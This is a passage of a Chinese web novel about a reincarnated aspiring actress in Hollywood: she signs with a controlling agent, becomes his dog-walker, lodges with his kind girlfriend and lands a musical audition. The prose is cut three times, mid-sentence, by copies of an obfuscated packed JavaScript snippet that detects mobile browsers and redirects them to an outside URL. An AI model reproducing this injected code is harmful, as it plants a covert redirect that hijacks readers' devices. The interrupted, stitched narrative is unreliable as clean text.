她难得有些真情流露,“但我必须去做,我必须拼上一切去努力,如果你是担心我天真无知空放豪言,那我可以和你保证,维杰里先生,我完全明白这个理想有多么远大,路途中又有多少困苦,成功的几率有多么渺茫,又要面对多少牺牲……但我已经下定决心,我不可能半途而废。” 她又重复了一遍,“我必须向着这个目标去努力。” 切萨雷注视她十多秒。 “我相信你。”他最终说,冲珍妮举起酒杯,“现在我可以肯定地说,你和我的运气都不错,我是你想找的经纪人,你也是我想要找的那种客户。” 珍妮和他碰了碰杯。“祝我们合作顺利。” “祝我们合作顺利。”切萨雷说,他从怀里掏出一份合约递给珍妮。“这是CCA的格式合同,我已经针对你的情况做了一些编辑改动,提成为15%,不论资历地位,CCA都是抽这么多,对于新人来说这抽成非常慷慨,你没什么可抱怨的。时限是五年,五年后CCA在同等条件下享有优先续约权。” 他语气一顿,锐利地看了珍妮一眼,“我事先声明,如果公司里的人问起,你必须说是你强烈要求只签五年。而尽管合约只有五年,但我们的合作关系不以只存续五年为前提。杰弗森小姐,我希望你明白我的意思。” 珍妮一边迅速浏览合同,一边不动声色地说,“合同说五年后CCA在同等条件下享有优先续约权,我不会违背合同。” “你不会违背合同的。”切萨雷再度礼节性一笑。“你很聪明,杰弗森小姐,我喜欢和聪明人合作。” 他又说,“在签约之前,还有几件没写进合同里的事请你明白,第一,我刚才已经说了,虽然只签五年,但我们的合作关系预计会很长,以你的目标来看,有可能会持续十到二十年。” 珍妮耸了耸肩,“如果我是你想要找的客户,你是我想要找的经纪人,那么我没问题。” “很好,第二条,也是好莱坞业内不成文的一条规矩,”切萨雷的语气又回到了公事公办的调子上,“我什么都管,杰弗森小姐,从你吃进口的食物,到你会睡的男人,都归我管。如果我说你不能恋爱,你不能恋爱,如果我安排你和谁上.床,你和谁上.床,有必要的话,甚至会深入到婚姻以及生育,你和谁结婚,何时生,怎么生,这些都归我管。如果你有意见,现在说出来。” “所以你有时候也真的会客串皮.条客?”珍妮反问了一句,随后声明,“你让我不能恋爱,OK,我无所谓,如果不和这个人睡我的职业生涯就会失败,那我也能接受短期的交易关系,除了这种特殊情况以外,请你在安排后者的时候稍微收敛一点,把它列为最后手段来考虑。” “明白。”切萨雷说,“迄今为止,我还没为我旗下任何艺人安排过这种工作,让我们一起希望未来也不必发生这样的事。” 他喝了一口酒,专注地看着珍妮,“第三条,你要听话,杰弗森小姐,请你一定要听话。你要钱,在我的安排下你会很有钱,你要权力,你会有的,你要实现你的目标,那很好,因为创造一个超越传奇的明星也是我的目标,杰弗森小姐,你要相信我们的利益完全一致,我做的任何事都是为了你好,所以你一定要非常听话。” “这没问题。”珍妮说,“只要你解释清楚,我会配合的,你看我像意气用事的人吗?” 切萨雷摇摇头,“你不像,但人都是会变的。” 他掏出一根录音笔摆上桌面,“签字前,请你把你的目标和这三条约定对录音笔复述一遍。” 珍妮对他瞪起眼,做了个你何必如此认真的表情,切萨雷完全不为所动,他比了比录音笔。 珍妮无奈地抄起录音笔,复述了一遍自己的目标、决心,以及三条约定的内容,还有保证遵守的承诺。切萨雷在她说话时一直盯着她瞧。 “OK。”在珍妮签字后,他说,再度举杯。“合约别还给我,去找个律师审读一遍,如果你信任我,我可以为你介绍律师,如果不信任我,你自己找人。你确认没问题后再给我,我拿到公司盖章。——祝贺我们正式建立合作关系。” 现在合约还没生效,只要珍妮一个转念就能撕毁,但她明白切萨雷在谈论的不是这份纸质合同,他在说的合作和合约无关。只要和他碰了杯,即使没有合约,他也会默认两人间存在合作关系,默认自己能掌控珍妮的演艺生涯。 碰过杯以后,关系正式确立,两个人都再不能回头。 珍妮举起酒杯,和他轻碰一下,两杯相撞,发出脆响。 “祝贺我们正式建立合作关系。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274131|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她说。 切萨雷微露商务笑容,“现在,开始享用美食吧。如果可以的话,我想听你谈谈你的教育过程。你对正餐礼仪很娴熟,以你的家庭背景来说,这本不是你会掌握的知识。” 陈贞告诉他珍妮一直都是个想往上爬的女孩,对上层社会的生活充满兴趣,比如她甚至会知道切萨雷是常见的意大利名字,而维杰里是法国贵族姓氏。“是的。”切萨雷说,“我继父是法国人,我跟了他的姓,至于名字,我父亲的确是日耳曼裔,但他同时也是切萨雷.博基亚的狂热粉丝。” “不为凯撒,宁为虚无?”珍妮反射性地说。(凯撒和切萨雷都是Cesare,切萨雷为音译) “你的历史学得也不错。”切萨雷扬起眉毛。 那是因为她看过《博基亚家族》……珍妮干笑了两声,评论道,“其实你真的蛮像他的,马基雅维利的《君主论》是不是你的行事指南?” “哦,别告诉我你看过《君主论》。”切萨雷说,“即使没读过这个,你的常识水平也已经过分广博,我开始怀疑你是怎么把SAT考砸的。” 出乎意料,和切萨雷聊天其实并不是什么苦差,只要能跟上他的思维,他还算是个满有趣的聊天对象,而陈贞无论如何也不算是个笨人。他们愉快地吃掉了剩下的餐点,珍妮甚至忘了她的胃有多么饥.渴。把沙拉喝完以后,他们又喝了大半瓶红酒。 “我有一个问题想问你。”晚饭接近尾声时,珍妮说。 “请问。”切萨雷啜了口酒,他看来要比之前放松一些,肩线有肉眼难以察觉的放松。 “如果刚才我告诉你,我的目标是想要成为有钱人,摆脱贫穷,你还会这么看重我吗?”珍妮问,“你会和我做长期合作的约定吗?” 切萨雷摇了摇头,“我会重视你,但你不会是我的第一客户,也许我会把你的优先度排到第三,但不会是第一。” “这证实了我的猜测,我的感觉是,你一直在寻找一个想要登上顶峰的人,你想要亲手打造一个好莱坞传奇。”珍妮真的很好奇,“我想成为好莱坞传奇,这没什么不能理解的,我绝对不是世界上唯一一个这么想的人,成为传奇当然也意味着名利双收。但你是经纪人,对你来说,可能同时带几个非常成功的类型演员会更符合你的利益,你懂得我的意思,毕竟我和CCA的合约你只安排了五年。” 她大大地喝了一口酒,好奇地歪过脖子,打量切萨雷,“成为一个超级巨星的经纪人,对你的目标也许反而有一定损害,但你还是想要成为创造传奇的经纪人,为什么?” “人类为什么要探索太空?要下到深海?”切萨雷反问她,“要攀登珠峰,要挑战吉尼斯记录?” 他的双眼蓝得就像是氢气烧出的火,“没有原因,只是因为太空在那里,海洋在那里。” 切萨雷浅浅喝一口酒,语气随意,“传奇就在那里,等着被人征服。” 18. 珍妮的新工作 这顿饭珍妮就毫无心理压力地让切萨雷买单了,结账以后,切萨雷开车送她回家。——说起来珍妮对这一点很不适应,在她原来的圈子里,喝酒不开车,开车不喝酒的教育已经做得很好了。但在美国这边,酒在社交场合中实在是太常见了,而且白人似乎酒精耐受度很高,切萨雷喝了好几杯,红白葡萄酒都有,但看来还是和没事人一样,脸都没红,说到酒后开车也没什么忌讳的,就这么上路,一路上也没人来盘查。 “所以,这就是你住的社区。”到了她家楼下以后,切萨雷没有马上离去,而是下车打量了一番四周,“还不错,短期内你可以不必搬家,明天去找个律师,这是吉姆的号码,确认合约没问题以后联系他,别的事他会为你办妥。” “好的。”珍妮只有听从他安排的份。 “你之前在餐厅工作?”切萨雷问。“辞掉它,现在不是你接触公众的时候。” “但我需要生活费。”珍妮抗争说,“距离下一次机会有可能是几个月,这几个月内我不可能傻坐着什么也不干,光是吃饭就要钱。” “吉姆会给你联系一份新工作的。”切萨雷说,他回身走向车门,但到了半路上又止住脚步,“对了,你现在没有男朋友吧?炮友?暧昧对象?” 珍妮迟疑了一下,但还没回答,切萨雷就说,“分掉,断掉,越彻底越好。如果有性.爱录像带,现在立刻拿回来毁掉。我记得吉姆说你在入行前有个做演员副导演的好朋友——他是唯一有资格留在你社交圈里的对象,你没必要和别人过多联系,这对你们都不好。” 他盯着珍妮,直到得到她肯定的表示,这才颔首告别,钻进车中扬长而去。 现在就开始安排她的生活,会不会有点太迫不及待了?珍妮站在原地目送车影,想一想,也是摇头苦笑:其实他们两人也都知道,合作关系已经正式开始,合同只不过是法律意义上再多一重保证而已。从晚饭时开始,切萨雷.维杰里已经算是她的经纪人了。 他到底有多牛,和珍妮弗.贝尔到底是怎么分手的?这些事都还没弄清楚就糊里糊涂地签约了,会否有些太草率?一切都赶在一天内,其实是着急了点,也许应该拖到他回美国以后—— 珍妮掐断了这些事后必然会冒出的杂念。切萨雷.维杰里是她能找到最好的选择了,抓住这个机会肯定是正确的决定。否则她还得多等两个月,在CIA播出后再看看有哪个经纪人对她感兴趣,如果没有切萨雷,即使CCA在两个月后对她抛出橄榄枝(几率很低),态度肯定也不会向今天这样毫无保留,资源更不会向她倾斜。 虽然他跋扈、专制、冷漠,控制欲极强,但切萨雷是CCA的资深经纪人,把珍妮弗.贝尔从无名小卒带到了今天的强势新生代,而且更重要的是,他和她一样追求卓越,有一个共同的目标,更是慧眼识珠,相信珍妮就是他要找的人才。 总之,现在要做的就是尽量信任切萨雷,把更多的心力转向演技的锤炼打磨之中。切萨雷对她的评价其实是很中肯的,现在的她,还远远说不上是演技出色,顶多只是‘天赋骄人’而已,想要在自己规划的这条路上走到最后,演技和长相都是一样重要,不可或缺。 当晚她睡得不是很好,做了许多混乱的梦,第二天珍妮起了个大早,拨通了戴夫的电话。 “律师?当然没问题。”戴夫说,“我可以问问林奇,或者莎拉,噢,莎拉最好了,她的律师在这方面当然最有经验,你稍等,我给你回过电话。” 没过多久她就拿到了律师的电话,一小时收费三百美元,审阅合同按难度算,格式合同比较简单,一份一千五,三个工作日内会出结果。 好吧,才刚签约,她就要变穷光蛋了吗?珍妮苦笑着搁下电话:马上要交房租了,为了拍戏,她这个月的工资估计都要减半,房租交掉,再付了这一千五,她连吃饭都成问题了。如果TVS那边的支票寄来晚点,说不定真的得举债度日。 戴夫很快打来电话,“怎么样,谈妥了吗?” “搞定了,”珍妮努力轻快地回答,“你中午有空吗,一起吃饭?我今天还是晚班。” 结果戴夫中午有工作午餐,珍妮又问了他晚饭,得知其还是没空,便不再邀约。 当时她调了一周的晚班,拍摄只用了五天,余下两天,珍妮白天都在家里锻炼,晚上才去餐厅,不过就做足了八个小时。约瑟夫和杰西卡等人都未察觉有何不妥。 律师那边的审查结果掐的时间很准,在第三个工作日下班前打电话给珍妮,告知其合同没有隐藏的陷阱条款,可以放心递交。然后珍妮又等了两天,合约才被联邦‘慢’递送到家里,她收到合约后给吉姆打电话,吉姆立刻安排人上门取合同。 “切萨雷已经和公司内部走过流程了,”他在电话里交代珍妮,口气有几分狐假虎威,“你今天可以过去餐厅辞工,公司这边,盖章签约以后也会给你安排一些课程,你不可能再全天工作了。” “但我需要钱。”珍妮指出。“维杰里先生说他会给我安排新的打工,有这回事吗?没这个承诺,我不可能去餐厅辞职。” “嗯,切萨和我交代过了。”吉姆的声音有些发闷,“你先去办辞职吧,如果你愿意,辞职后立刻就可以开始新的工作。事情办妥后给我打电话,我来接你。” 珍妮没有办法,只好对电话喊,“记得把我的内衣带来还我!” 吉姆狼狈地呛了一下,他挂了电话。 辞职的过程顺风顺水,约瑟夫显然早有预料,除了不停的唉声叹气以外,没多说什么,只是让珍妮承诺以后如果需要工作,还回来好莱坞之星。“没什么好害羞的,很多人的演艺生涯都会有暂时的不顺。服务生是个收入很丰厚的行业,值得作为恰当的补充。” 珍妮对他印象不错,闻言客气地感谢着,至于杰西卡,她压根没和珍妮照面,知道珍妮是来辞职的那一刻就又消失在后门,估计是抽闷烟去了。 至于斯考特等人,自然是纷纷开玩笑,让珍妮日后别忘了照拂,约瑟夫更是取出相机笑说,“现在先留个纪念,等到珍妮成名以后,这张合影就是我们的镇店之宝了。” 在大家善意的打趣声中,珍妮被拱到约瑟夫身边,配合地摆出微笑,在欢呼声中留下了好几张照片,也算是为自己短暂的餐厅服务员生涯画上了句号。 结算过工资,她手里多了一千多美元,刚好抵消掉前几天的律师费,珍妮现在所有的家当就是银行里的两千多元,还有预期中会来的那五千美元支票。可能对大部分美国人来说,他们有这些就足够了,但不幸珍妮是白皮黄心的鸡蛋人,中华民族勤劳朴素爱好储蓄的特点在她心里留下了深深的痕迹,没了收入来源,她顿时感到失去安全感,一边走回家一边就迫不及待地联系吉姆,“我辞职了,你许诺的新工作呢?” 吉姆也很快就开车来了她家楼下,珍妮钻进车里以后,他递给她一个牛皮纸袋。“衣服裤子都在里面。” 珍妮打开一看,倒是有些吃惊——内衣和裤子都被洗过了,叠放得很妥当,纸袋上有淡淡的汽车香水味道,看来在里头放了已经有一阵子。并不像是过去几小时内匆匆洗过烘干再塞进来的。也就是说,吉姆并没对她的衣物做出什么猥琐的事。 她诧异地看了看吉姆,吉姆翻了翻白眼,“拜托,我也是有底线的好吗。如果我要性.爱,我会去酒吧,拿我的工作做搭讪借口,而不是躲在阴暗窄小的公寓里,拿着某人的内.衣打/飞机。” 珍妮笑了起来,“哇,坦白让你更有魅力了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274132|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那会让你想和我约会吗?”吉姆问,做出猴急的样子,“因为我愿意的,宝贝,你要做的就只是开口问就可以了。” 珍妮说。“但维杰里先生让我短期内不要约会。” “啊,是的。”吉姆也不再开玩笑,语调恢复正常,“切萨肯定会这么安排,短期内你不需要浪漫关系来分心。即使要恋爱,对象也不会是我这样的中年男人——切萨绝不会允许的。再说,你也的确远超我的层次。” “我?”珍妮并不喜欢吉姆最后一个说法,“我银行卡里就两千多美元,吃了上顿没下顿。吉姆,我的层次在哪里?” “也许你现在穷困潦倒。”吉姆认真地说,“但你欠缺的就只是一个机会,切萨雷就是你的机会,女孩,在拿到他合约的那一刻起,你成为人上人只是时间问题。在决定把你带去见切萨雷的那一刻我就知道,我再也不可能把到你了,你也绝不可能自降身份和我约会。好莱坞其实是个等级森严的世界,你是一个等级,切萨雷是一个等级,而我——我和戴夫是另一个等级,我们的等级和你的等级绝不会有所交叉。我明白这一点,戴夫也明白。” 珍妮立刻想到了她最后一天拍摄时,吉姆和戴夫还算是友好的对话,她忽然有些生气。“这算什么?维杰里决定签下我以后,立刻让你去警告戴夫不要继续和我做朋友?我还没点头他就已经开始干涉我的社交圈了?” “什么?你怎么会忽然跳到这里?”吉姆暴露反应慢的缺点,惊愕地问了几句,这才明白珍妮的意思,他摇头说,“不不,切萨没说过那样的话,他也不可能会说。戴夫是个演员副导演,他当然是经纪人交好的对象,那天下午我是走过去和他聊天而已。我和他都想追求你,显而易见,但我们都不可能再高攀你,这也是彼此心知肚明的事实,我就是过去和他互相舔舐伤口而已。” 珍妮还是有些恼火,这一次吉姆倒是抢在她前头开口,“这难道不是事实吗?切萨为了你推掉纽约行程,特地到片场来看你演戏,你不知道那天下午在驰宙有多少人对你恨之入骨,切萨就像是自由转会市场上的超级巨星,每个人都想要有他做自己的经纪人,而他为了你特地到片场来!我们都知道,除非火星撞地球,双子塔倒塌,否则他百分百会签下你——他一做决定,Boom,你就像是脱笼的鸟儿一样高飞而去,我们这些凡夫俗子只能在地面追着你的影子瞎跑,这就是未来会发生的事,我们都明白的,他比我明白得更早,所以他才那么难放手,那么不乐见我带你去见切萨。任何一个看过你演戏的人都知道你天赋超凡,戴夫肯定比所有人感触都深,他知道见过切萨后会发生什么事,他不愿让你走。” 他若有所思地歪头想了想,“要我说,他应该是真的很迷恋你。哇,这么一想,这男人简直爱惨你了。” 珍妮夸张地翻了个白眼,对他做了个崩溃的手势,“我明白了,你能少啰嗦几句吗?谢谢你让我的心情变得更加不好。” “还没成巨星,就已经有巨星脾气了。”吉姆笑呵呵地把车泊进车道里。“我喜欢。” 珍妮下了车,眯起眼打量了一下眼前的宅子,它不是非常大,临街的两层楼,单层大约百来平米,好像还带了个后院,和比弗利山庄里随处可见的超级豪宅相比,它并不是特别起眼,不过价值肯定也相当不菲,大概就相当于是数千万和数百万的区别,反正都不是她现在能住得起的房子。而且,这街区已经属于比弗利山庄了。 “这是哪里?”她问,有些不祥的预感。“我以为你是要带我到我的新工作地点。” “我是啊。”吉姆乐呵呵地说,“这就是你的新工作地点——切萨雷的家。” 他撮起唇吹了吹口哨,指着屋内飞奔而出的一条大狗,介绍道,“而这,就是你的工作内容。” 19. 切萨雷的能力 ……她成了遛狗人。 是的,她成了切萨雷.维杰里的遛狗人,待遇超群的那种——珍妮觉得她的待遇应该会让全世界所有的遛狗人羡慕。 首先,一般的遛狗人都要遛十多条狗,少的也起码有个五六条,而珍妮只遛一条狗,她拿的薪水却和一般的遛狗人一样,甚至可能更多。 其次,她的雇主为她配了一辆车。 ……奥迪A8。 这辆车是1999年奥迪推出的新款,在没出现A8L的2001年,也算是主流豪华座驾了,切萨雷之前送她回家开的就是这辆车,由于比弗利山庄是高级社区,公共交通系统不发达,没车通勤不方便,切萨雷通过吉姆把这辆车暂时授权给她使用,反正这一个月内他都在欧洲,也用不上它。 难道就没有第二部车可以借吗?珍妮想问。 答案是有,第二部车更贵,是布加迪.威龙98年限量版。 好吧,反正不论珍妮还是陈贞都会开车,陈贞以前更是都开兰博基尼、莲花这种牌子的,区区奥迪A8也不可能让她自惭形秽。 所以现在她每天就开着A8到处跑,先去CCA安排的课程,上表演课、发音课和口音课、形体课,然后每天下午到维杰里家遛狗,晚上下课后再遛一遍,然后回家睡觉——其实切萨雷让她辞职是很必要的决定,在这样的课程密度之下,珍妮是没办法维持一份全职工作的。 就是切萨雷此时提供的工作,也带有强烈的救济意味,珍妮问报酬的时候,吉姆说,“你原来的工作拿多少,这份工作就拿多少。” 真是太棒了,每天溜一条狗两次,赚四千多美元,雇主配A8驾驶,包油钱——她的幸福度应该会让很多美国人大为羡慕。 但并不是说珍妮的生活就真的轻松下来,如果要说有什么变化的话,那也就是她比以前要更疲惫了。 从前在快餐店,劳力不劳心,那份简单的工作她游刃有余,现在上课,每一堂课都要全神贯注地去听,去学,尤其是演技课程,这不是说你有了演艺空间就能高分通过,表演课上要求快背台词、即兴演出,还有很多小训练都是演艺空间丝毫无能为力的领域,考验的就是基本功,或者说塑造的就是基本功,对陈贞来说,她唯一的优势就是大概前世上过一遍类似的课程,怎么也不能说是毫无基础。 目前为止,她唯一没压力的就是形体课,毕竟前世说穿了就是靠美色事人,这方面的功夫不可能落下,再加上身材窈窕、气质也不会太粗俗,形体课老师对她是很满意的,屡屡把她拿出来当模特示范给同学们看。 发音课对珍妮来说就很吃力了,她说的是标准口音,仅仅带有一些南部特色,但对切萨雷来说这还不够好,发音课的目标是把珍妮纠正成纯正的纽约上东区贵族口音。然后口音课就是从南方口音、爱尔兰口音到英国口音都有涉猎,和日后致力于消灭方言的中国电视剧不同,西方演艺圈是很看重发音的,倘使一个人操着纯正的美式口音去演英国贵族,从评论界到观众都会把这部作品视为笑话。 每天被这几堂课轮番蹂躏,珍妮觉得比上班时候还要更累,她已经偷懒得把锻炼时间削减为一小时,然后两次遛狗的时候带着狗在公园里跑几圈,就算是完成运动量了。——尤其是她自己还没间断的在演艺空间里自行锻炼演技,算起来一天起码要进修二十小时以上,虽然睡眠还算充足,但那种精神上的虚耗感,以及长期慢性饥饿带来的情绪不稳定,依然是如影随形地缠绕在她身边。 “走吧,华盛顿。”珍妮弯下腰去整理裤脚,她上下跳了几下,随后牵起兴奋得直喘粗气的德国牧羊犬,走出了家门。“说真的,什么样的人会把自己的狗取名叫华盛顿?” 不过说实话,她也没想过切萨雷是会养狗的人就对了,她还以为他的家会是冷冰冰一尘不染的后现代装修,然后除了他以外完全没有活物。结果事实证明,切萨雷的家是很正统的美式家居休闲风格,除了华盛顿以外还有养了一缸热带鱼。不过他家的确一尘不染,清洁工每天上午都会过来维护卫生,顺便喂华盛顿吃饭,而珍妮晚上遛狗以后也会给他准备晚饭,华盛顿很聪明,也爱干净,不会在室外便溺,吃完以后会去院子里上厕所,她把厕所收拾掉就可以走了。 绕着社区跑了四圈,大概跑了五公里,华盛顿已经开始耷拉着舌头喘气,但兴致依然高昂,德牧的智商排名全犬类第四,相当于五六岁的小孩子,它已经知道珍妮晚上一般会跑五圈左右。 但珍妮今晚实在是太累了,她昨晚就没睡好——公寓空调检修停用三天,今天又是特别繁忙艰苦的一天。 “回家好吗?华盛顿。”她和狗狗商量。 华盛顿呜咽一声,楚楚可怜地对她发射狗狗光波。 “好吧,好吧。”珍妮举手投降,干脆又带它跑了两圈,这才带着心满意足的华盛顿回到家里,为它拿出晚饭和新鲜的水,“休息五分钟再吃。” 走去收拾了一下,她盘膝坐在地板上,打开电视随意浏览着深夜节目,华盛顿在院子里大快朵颐,一般它吃饭和上厕所会花去二十分钟到半小时,珍妮都会乘这个时间,或者看新闻,或者进入演艺空间再锻炼一下自己。 今晚,她实在很困,只是看了一会电视,身子一歪,便迷糊了过去,心里想着稍微小睡片刻,一会听到华盛顿的叫声再起来。 # 珍妮醒来的时候,天已经亮了,她坐起身,毯子滑落在腰际,华盛顿在院子里吠叫了两声。 “哦,糟了糟了。”珍妮赶快去看时间,距离她的第一堂课只有一小时多一点了。 算上开车和洗澡换衣服的时间,她几乎不可能有吃早饭的空档,太好了,饥饿的早晨,这正是她所需要的。 珍妮把毯子推开,爬起身开始收拾自己的东西——然后忽然一怔:这毯子不是客厅的东西,起码她以前没见过它出现在沙发上,不可能是她自己扯下来盖的。 她走到后廊上看了下,华盛顿的狗厕所干干净净,已经换了新的狗尿布。 呃,清洁工一般都是上午10点过来,而现在是早上7点50分。所以她是遇到了一个好心的变态,夜闯民宅以后给她盖了毯子,给华盛顿收拾了厕所? 这不太可能,珍妮走到前窗看了下,突然发现车道上除了切萨雷的A8以外还停了另一部车,红色的宝马Minicooper。 “早上好。”仿佛是为了解开她的疑惑,楼梯响了,一个身穿睡衣的褐发年轻女性走进起居室,“你醒了,太好了,我刚和吉姆打过电话,他说你早上有课,8点必须起床,我还想来叫你。” 她冲珍妮伸出手,“我是莉莉安.斯文森,切萨的女友,你就是珍妮吧?” 珍妮木然地和她握握手,“呃,我不知道这房子里还有人住?” “我最近上夜班,”莉莉安笑着说,她对珍妮的态度很友善。“下午上班,凌晨下班,所以一直没和你见面。昨晚回来我看你睡得很香,就没叫醒你。你要吃早饭吗?如果想洗澡的话,二楼有客房,家里也有一次性内衣裤,我和你差不多高,你可以先穿我的衣服,回家再换。” 事实上,考虑到珍妮现在开她男友的车,为她男友遛狗,她男友还为此支付超过标准的报酬——而且珍妮又是如此的年轻漂亮……莉莉安友好得简直有点不正常。 “你知道吗——谢谢,真的谢谢。”珍妮迅速说,“我确实需要洗个澡,然后赶快吃点早饭,从这里开车去学校也近。真的,谢谢你。” “没关系。”莉莉安的友善得到回应,她也高兴地笑了,“客房就是上楼左手第一间。” 珍妮转身跑上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274133|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,钻进浴室洗了个痛快澡。她出来的时候,一次性内衣裤和外衣都被放在床上,楼下也传来了咖啡的香味。 “我的厨艺不大好。”珍妮下楼以后,莉莉安对她说,“这是昨天打包回来的沙拉和土豆泥,我又煮了两个蛋,还有些吐司,牛奶、橙汁——” “这足够丰盛了,”珍妮看了看表,“谢谢你,我可以坐下来慢慢吃完,然后还不会迟到。” “不客气。”莉莉安在她对面坐下来,“我早就想认识你了,切萨和我说过你,他说你比另一个珍妮弗还有潜力——只是我最近太忙,一直没找到时间。” 两人闲聊了几句,珍妮知道莉莉安是实习医生,她和切萨雷同岁,今年刚进入医院轮转,最近在轮中班,所以作息不太正常。还有她和切萨雷是家族朋友,很小就认识了。两个人都到洛杉矶以后顺理成章地就在一起,已经有两年时间。 莉莉安……又一次让珍妮有点吃惊,她虽然也很漂亮,但却只是平民的漂亮,不是能上镜头的水准,而且,很明显,她是个平易近人的大好人。而在珍妮心里,切萨雷的恋人应该是《哈利.波特》里纳西莎.马尔福的形象,高高在上、冷漠傲人……反正就应该是切萨雷的翻版才对。 当然,莉莉安好相处是珍妮的幸运,她们用一顿早饭的时间就熟悉亲近了起来,莉莉安特别感谢珍妮把华盛顿照料得很开心,“我们也请过别的遛狗人,华盛顿都没有和你一起时这么快乐和健壮。” 珍妮也解释昨晚为什么会睡在地板上,莉莉安一听说她的空调系统检修,立刻让珍妮住到家里来。“空房间很多,我一个人也总觉得很寂寞。你可以住到切萨雷回来为止,从这里去上课也更方便。” 对这份热情,珍妮颇有些招架不住,“呃,但我想维杰里先生不会高兴的——我是说,这毕竟是他家——” “这也是我家。”莉莉安坚决地说,她忽然笑了,“不对,这事实上就是我家,我来洛杉矶读书那年爹地买给我的。切萨充其量只算是比你更长期的室友。” 她当然明显是在说笑话,提到切萨雷,莉莉安的甜蜜是显而易见的,珍妮真不知道她这么可爱的一个人怎么会和切萨雷处得那么好。 她并不是很想住到莉莉安家里,虽然这里地段好,装修好,也更舒适,但毕竟有种寄人篱下的感觉。但莉莉安真的很坚持,而珍妮又不能拒绝得太坚定,害怕两人关系变得尴尬,她又推拒了几次,终究是答应莉莉安的邀请,再住两个晚上,等检修结束以后就走。 珍妮迅速——大约三四天以后就后悔了这个决定,她发现莉莉安的确是个很迷人的室友,而且她之所以怕寂寞,是因为她是那种很爱照顾人的妈妈型性格。 在珍妮搬进来的第二天,莉莉安回到正常轮班,作息时间基本和珍妮同步,她迅速地摸清了珍妮的饮食起居习惯,把她照顾得相当好。连着几天都有早饭吃,晚上一起跑步遛狗——珍妮也不是铁人,在这种孤寂的进修生活里,她当然特别需要一个朋友。 最终,在莉莉安的推动下——莉莉安告诉她切萨雷也很希望她住进来,而珍妮也承诺过‘要听话’,她算是半官方地搬进了莉莉安家里。差不多也就在这当口,吉姆找到她,“切萨给你联系了一个试镜,一会我会把资料给你送来,这一次试镜有点特别,可能得做些针对性的准备。” “什么电影?”珍妮问。 吉姆宣布道,“是凯蒂.琼斯和芮妮.斯坦因主演,杰斯.马修导演的一部歌舞片,改编自百老汇名剧《底特律》。” 2003年奥斯卡最佳影片……珍妮有点小晕眩:上个月,一部电视剧集的客串角色她都要靠人情才能争取,这个月,她要去为未来的奥斯卡最佳影片试镜。 Damn,被切萨雷.维杰里签下,真是她做过最正确的选择。 20. 竞争,竞争 “你会跳舞吗?” 刚一落座,吉姆便劈头问道。“这是部歌舞片,对演员的相关背景有要求,资料上你没写歌舞特长,不过切萨说不论如何也要你先试一试。他看过资料了,非常看好这部片,认定是明年的奥斯卡热门种子。” “我会跳舞。”陈贞已经放弃去好奇切萨雷精准的选片眼光到底从何而来,而是平静地回答,“我会跳拉丁舞,国标舞,华尔兹。一般社交需要的舞蹈都会跳,你需要亲眼看一下吗?” 吉姆像是被掐住了脖子,他颇有几分不可思议地看着珍妮,“你会跳舞?可你高中不是没参加任何社团?” 陈贞顿时感到一阵无奈:她会的很多东西,都不是珍妮应该会的,就是瞎编都不可能,稍微一求证,谎言肯定就会被拆穿。所以写不写进简历就很为难了,写进去,吉姆这样的就觉得你吹嘘,不写进去,这技能都找不到机会曝光。 而且这些事说谎也没有太大意义,珍妮摊了摊手,“我就是会,看着电视学的,不服你咬我?” 吉姆还是很怀疑,珍妮只好站起身去翻找莉莉安的CD,此时此刻,她真的很怀念还没发布的Ipod。“我看看,她这里好像没有拉丁舞曲——” “没必要现在立刻跳给我看。”吉姆连忙叫停,“我们已经为你找了舞蹈老师了,本来还想一对一特训一下,不过如果你说的是真的的话,现在看来好像是没必要了。” 他立刻载着珍妮去见舞蹈老师,珍妮是在他车里翻看试镜资料的。 作为2003年的奥斯卡最佳影片种子,《底特律》当然是名导+名演员的大制作,它改编自上世纪七十年代上演至今的歌舞剧,本身就是极为经典的名作,陈贞对这片子是很熟悉的,她是导演的粉丝,后来杰斯.马修导的那部歌舞片《9》,她也看了很多遍,当然《底特律》更是来回欣赏了好久了。 现在整个摄制组正处在筹备期,两女一男三个主演都定了下来,正在寻找配角演员。影视剧剧组的选角一般都是如此,越重要的角色越早定下来,龙套则在开拍前再找。而切萨雷为珍妮安排的试镜就是次要角色的机会,按照戏份来说,应该算是女三号,或者是女四号。 